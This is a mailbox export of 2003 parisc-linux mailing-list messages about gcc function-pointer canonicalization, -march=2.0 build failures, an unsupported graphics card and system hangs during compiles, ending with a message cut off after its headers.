X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH-2.5] Various cleanups
Date: Mon, 12 May 2003 12:24:21 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <200305121624.h4CGOMq1001557@hiauly1.hia.nrc.ca>
References: <20030512153659.GK4509@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622448 25639 80.91.229.3 (22 Nov 2014 02:14:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:08 +0000 (UTC)
Cc: jbglaw@lug-owl.de, parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 12 10:24:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71271482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 May 2003 10:24:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4CGOMgL001559;
	Mon, 12 May 2003 12:24:22 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4CGOMq1001557;
	Mon, 12 May 2003 12:24:22 -0400 (EDT)
In-Reply-To: <20030512153659.GK4509@tausq.org> from "Randolph Chung" at May 12, 2003 08:36:59 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18455

> how does that work? __c_f_f_c is emitted by the compiler internally,
> right? how can we define an inline version of this function?

Dooh, you are correct.  I wrote a little test program and the libcall
doesn't get inlined.

So if no canonicalization is needed, you want something like:

typedef int (*fptr_t) (void);

unsigned int __canonicalize_funcptr_for_compare (fptr_t)
      __attribute__ ((visibility ("hidden")));

unsigned int
__canonicalize_funcptr_for_compare (fptr)
   fptr_t fptr;
{
  return (unsigned int)fptr;
}

The libgcc version is hidden.  That's because shared libraries need
their own copy which accesses the got table in the shared library.
Probably in the kernel implementation, a single copy of the routine
is sufficient and you don't want the hidden attibute.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc and -march=2.0 flag bug
Date: Mon, 12 May 2003 23:51:57 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <200305122351.57449.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622448 25643 80.91.229.3 (22 Nov 2014 02:14:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 12 15:54:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server.da-kot (21-40.CampusNet.ucl.ac.be [130.104.21.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9FC0482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 May 2003 15:54:20 -0600 (MDT)
Original-Received: from gmsoft.tuxicoman.be ([2001:6f8:204:20:210:a7ff:fe10:1a3e])
	by server.da-kot with esmtp (Exim 3.36 #1 (Debian))
	id 19FLFZ-0000fI-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 May 2003 23:54:25 +0200
User-Agent: KMail/1.5.1
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18456

Hi All,

I had some problems with gcc. When I set the CFLAGS/CXXFLAGS -march=2.0, most 
of the applications builded are b0rked. This occured on many stations. Using 
-march=1.1 works well.

Is this a 'feature' of unimplemented 64bit userspace or is this a bug ?

In case of a bug, what do you need to debug it.

Regards

-- 
Guy Martin
Gentoo - HPPA port Lead / IPv6 team
Lug Charleroi (Belgium)


From - Thu Nov 08 21:27:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc and -march=2.0 flag bug
Date: Mon, 12 May 2003 14:58:37 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20030512215837.GN4509@tausq.org>
References: <200305122351.57449.gmsoft@gentoo.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622448 25648 80.91.229.3 (22 Nov 2014 02:14:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@gentoo.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 12 15:59:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1189B482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 May 2003 15:59:17 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 1EFC9CD28E; Mon, 12 May 2003 14:58:37 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200305122351.57449.gmsoft@gentoo.org>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18457

> I had some problems with gcc. When I set the CFLAGS/CXXFLAGS -march=2.0, most 
> of the applications builded are b0rked. This occured on many stations. Using 
> -march=1.1 works well.

How are they "b0rked"? Can you be a bit more precise?
 
> Is this a 'feature' of unimplemented 64bit userspace or is this a bug ?
> 
> In case of a bug, what do you need to debug it.

We compile pa20 32-bit kernels (e.g. for c3k) using 32-bit and
-march=2.0. seems to work. Do you have a test case for what you think
is broken? -march2.0 is really orthogonal to 64-bit userspace.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc and -march=2.0 flag bug
Date: Mon, 12 May 2003 18:59:52 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200305122259.h4CMxqqS003603@hiauly1.hia.nrc.ca>
References: <200305122351.57449.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622449 25652 80.91.229.3 (22 Nov 2014 02:14:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gmsoft@gentoo.org (Guy Martin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 12 16:59:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DD2E482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 May 2003 16:59:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4CMxqgL003604;
	Mon, 12 May 2003 18:59:53 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4CMxqqS003603;
	Mon, 12 May 2003 18:59:52 -0400 (EDT)
In-Reply-To: <200305122351.57449.gmsoft@gentoo.org> from "Guy Martin" at May 12, 2003 11:51:57 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18458

> In case of a bug, what do you need to debug it.

See <http:/gcc.gnu.org/bugs.html>.  A GCC PR should be submitted
if you believe the problem is a compiler bug.

Versions earlier than 3.3 are effectively dead, so I would recommend
testing with a 3.3 snapshot.  3.3 will be released very soon, probably
this week.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: no screens found on C240
Date: Tue, 13 May 2003 13:44:38 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20030513124438.GH29534__21178.3731393099$1416622449$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <005c01c3194a$8f0e01c0$980173c1@moviem.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622449 25655 80.91.229.3 (22 Nov 2014 02:14:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:09 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
To: Alan Hunter <a.hunter@moviem.co.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 06:44:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2839482D
	for <parisc-linux@parisc-linux.org>; Tue, 13 May 2003 06:44:40 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19FZ95-0005qP-0a; Tue, 13 May 2003 13:44:39 +0100
Content-Disposition: inline
In-Reply-To: <005c01c3194a$8f0e01c0$980173c1@moviem.co.uk>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18459

On Tue, May 13, 2003 at 01:24:11PM +0100, Alan Hunter wrote:
> I can't get X started on a C240 and don't have sufficient background to get to grips with the problem.
> 
> Here's what dmesg says:
> STI GSC/PCI graphics driver version 0.9
> STI PCI graphic ROM found at f1e00000 (2048 kB), fb at f6000000 (32 MB)
> STI word mode ROM at f1e00044, hpa at f6000000
> STI id 2fc1066b-9a02587, conforms to spec rev. 8.09
> STI device: HPA4552A
> stifb: Unsupported gfx card id 0x2fc1066b

A4552A is the FX2 card and is unsupported; I saw someone offering to
swap an EG card (which is supported) for an FX card a couple of days
ago on this list.  Perhaps they're still interested?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Todd <rtodd@antipentium.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] System hanging
Date: Tue, 13 May 2003 09:50:01 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <BAE67049.B2B%rtodd@antipentium.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622449 25656 80.91.229.3 (22 Nov 2014 02:14:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:09 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 07:50:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from crypto.hack.co.za (h-69-3-43-158.PHLAPAFG.covad.net [69.3.43.158])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3ED1482D
	for <parisc-linux@parisc-linux.org>; Tue, 13 May 2003 07:50:07 -0600 (MDT)
Original-Received: from [10.0.1.3] (pcp02226300pcs.rte20201.de.comcast.net [68.32.188.79])
	by crypto.hack.co.za (Postfix) with ESMTP id CF7C71C8AA
	for <parisc-linux@parisc-linux.org>; Tue, 13 May 2003 15:48:11 +0200 (SAST)
User-Agent: Microsoft-Entourage/10.0.0.1309
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18460

Hello all,
I am currently running on a J5000
2000 root # uname -a
Linux k2000 2.4.20-pa35 #2 SMP Sat May 10 10:36:26 EDT 2003 parisc unknown
unknown GNU/Linux


Gcc is as follows:
k2000 root # gcc -v
Reading specs from /usr/lib/gcc-lib/hppa2.0-unknown-linux-gnu/3.2.2/specs
Configured with: /var/tmp/portage/gcc-3.2.2/work/gcc-3.2.2/configure
--prefix=/usr --bindir=/usr/hppa2.0-unknown-linux-gnu/gcc-bin/3.2
--includedir=/usr/lib/gcc-lib/hppa2.0-unknown-linux-gnu/3.2.2/include
--datadir=/usr/share/gcc-data/hppa2.0-unknown-linux-gnu/3.2
--mandir=/usr/share/gcc-data/hppa2.0-unknown-linux-gnu/3.2/man
--infodir=/usr/share/gcc-data/hppa2.0-unknown-linux-gnu/3.2/info
--enable-shared --host=hppa2.0-unknown-linux-gnu
--target=hppa2.0-unknown-linux-gnu --with-system-zlib
--enable-languages=c,c++,ada,f77,objc --enable-threads=posix
--enable-long-long --disable-checking --enable-cstdio=stdio
--enable-clocale=generic --enable-__cxa_atexit
--enable-version-specific-runtime-libs
--with-gxx-include-dir=/usr/lib/gcc-lib/hppa2.0-unknown-linux-gnu/3.2.2/incl
ude/g++-v3 --with-local-prefix=/usr/local --enable-shared --enable-nls
--without-included-gettext
Thread model: posix
gcc version 3.2.2


This issue I am having is during compiling andthing big the box has a
tendency to just hang hard meaning power cord reboot. Has anyone seen this
before. I have a gig of ram and it does not seem to be a memory issue. I am
currently compiling KDE and it just hangs the box every now and then...
Anyone ? 



From - Thu Nov 08 21:27:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] System hanging
Date: Tue, 13 May 2003 16:39:14 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <AB345DD8-8550-11D7-AFCE-0030656F07A2@esiee.fr>
References: <BAE67049.B2B%rtodd@antipentium.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622450 25660 80.91.229.3 (22 Nov 2014 02:14:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:10 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: Richard Todd <rtodd@antipentium.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 08:39:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42035482D
	for <parisc-linux@parisc-linux.org>; Tue, 13 May 2003 08:39:20 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 2955A49B5B; Tue, 13 May 2003 16:39:17 +0200 (CEST)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 399A949DDC; Tue, 13 May 2003 16:39:15 +0200 (CEST)
In-Reply-To: <BAE67049.B2B%rtodd@antipentium.com>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18461

cat /proc/version please (ie: did you build your kernel with gcc 3.2.2?)

I've been running 12days straight of building gcc in loop while having=20=

2 setiathome instances running on a J5000 with 512M of RAM and=20
experienced no hangs, that was with 2.4.20-pa18 SMP 64bit, built with=20
gcc 3.0.4...

oh, and fwiw:
http://www.fr.parisc-linux.org/faq/kernelbug-howto.html


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

Le mardi, 13 mai 2003, =E0 15:50 Europe/Paris, Richard Todd a =E9crit :

> Hello all,
> I am currently running on a J5000
> 2000 root # uname -a
> Linux k2000 2.4.20-pa35 #2 SMP Sat May 10 10:36:26 EDT 2003 parisc=20
> unknown
> unknown GNU/Linux
>
>
> This issue I am having is during compiling andthing big the box has a
> tendency to just hang hard meaning power cord reboot. Has anyone seen=20=

> this
> before. I have a gig of ram and it does not seem to be a memory issue.=20=

> I am
> currently compiling KDE and it just hangs the box every now and =
then...
> Anyone ?=20=




From - Thu Nov 08 21:27:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Todd <rtodd@antipentium.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] System hanging
Date: Tue, 13 May 2003 10:55:20 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <BAE67F98.B30%rtodd@antipentium.com>
References: <AB345DD8-8550-11D7-AFCE-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622450 25663 80.91.229.3 (22 Nov 2014 02:14:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:10 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: Thibaut VAR=?ISO-8859-1?B?yA==?=NE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 08:55:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from crypto.hack.co.za (h-69-3-43-158.PHLAPAFG.covad.net [69.3.43.158])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB3A4482D
	for <parisc-linux@parisc-linux.org>; Tue, 13 May 2003 08:55:17 -0600 (MDT)
Original-Received: from [10.0.1.3] (pcp02226300pcs.rte20201.de.comcast.net [68.32.188.79])
	by crypto.hack.co.za (Postfix) with ESMTP
	id D52961C8AA; Tue, 13 May 2003 16:53:30 +0200 (SAST)
User-Agent: Microsoft-Entourage/10.0.0.1309
In-Reply-To: <AB345DD8-8550-11D7-AFCE-0030656F07A2@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18462

k2000 root # cat /proc/version
Linux version 2.4.20-pa35 (root@cdimage) (gcc version 3.2.2) #2 SMP Sat May
10 10:36:26 EDT 2003



On 5/13/03 10:39 AM, "Thibaut VAR=C8NE" <varenet@esiee.fr> wrote:

> cat /proc/version please (ie: did you build your kernel with gcc 3.2.2?)
>=20
> I've been running 12days straight of building gcc in loop while having
> 2 setiathome instances running on a J5000 with 512M of RAM and
> experienced no hangs, that was with 2.4.20-pa18 SMP 64bit, built with
> gcc 3.0.4...
>=20
> oh, and fwiw:
> http://www.fr.parisc-linux.org/faq/kernelbug-howto.html
>=20
>=20
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://pateam.esiee.fr/
>=20
> Le mardi, 13 mai 2003, =E0 15:50 Europe/Paris, Richard Todd a =E9crit :
>=20
>> Hello all,
>> I am currently running on a J5000
>> 2000 root # uname -a
>> Linux k2000 2.4.20-pa35 #2 SMP Sat May 10 10:36:26 EDT 2003 parisc
>> unknown
>> unknown GNU/Linux
>>=20
>>=20
>> This issue I am having is during compiling andthing big the box has a
>> tendency to just hang hard meaning power cord reboot. Has anyone seen
>> this
>> before. I have a gig of ram and it does not seem to be a memory issue.
>> I am
>> currently compiling KDE and it just hangs the box every now and then...
>> Anyone ?=20
>=20



From - Thu Nov 08 21:27:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>(by way of Guy Martin <gmsoft@gentoo.org>)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc and -march=2.0 flag bug
Date: Tue, 13 May 2003 18:53:03 +0200
Lines: 139
Approved: news@gmane.org
Message-ID: <200305131853.03798.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_vLSw+yLci4siwBX"
X-Trace: ger.gmane.org 1416622450 25666 80.91.229.3 (22 Nov 2014 02:14:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 10:55:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server.da-kot (21-40.CampusNet.ucl.ac.be [130.104.21.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id A58EF482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 May 2003 10:55:35 -0600 (MDT)
